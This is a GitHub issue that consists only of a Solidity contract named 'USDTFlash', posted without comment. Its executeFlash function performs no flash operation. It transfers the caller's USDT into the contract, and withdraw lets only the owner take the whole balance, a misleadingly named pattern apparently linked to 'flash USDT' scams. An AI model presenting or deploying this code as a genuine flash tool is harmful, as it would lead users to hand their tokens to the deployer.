Skip to content

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface ITRC20 { function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function balanceOf(address owner) external view returns (uint); } contract USDTFlash { address public owner; ITRC20 public usdt; constructor(address _usdt) { owner = msg.sender; usdt = ITRC20(_usdt); } function executeFlash(uint amount) external { require(usdt.transferFrom(msg.sender, address(this), amount), "Transfer failed"); } function withdraw() external { require(msg.sender == owner, "Not owner"); uint balance = usdt.balanceOf(address(this)); require(usdt.transfer(owner, balance), "Withdraw failed"); } } #7359

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
issamhaimour opened this issue May 29, 2025 · 0 comments

Comments

@issamhaimour
Copy link

issamhaimour commented May 29, 2025

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ITRC20 {
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function balanceOf(address owner) external view returns (uint);
}

contract USDTFlash {
address public owner;
ITRC20 public usdt;

constructor(address _usdt) {
    owner = msg.sender;
    usdt = ITRC20(_usdt);
}

function executeFlash(uint amount) external {
    require(usdt.transferFrom(msg.sender, address(this), amount), "Transfer failed");
}

function withdraw() external {
    require(msg.sender == owner, "Not owner");
    uint balance = usdt.balanceOf(address(this));
    require(usdt.transfer(owner, balance), "Withdraw failed");
}

}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant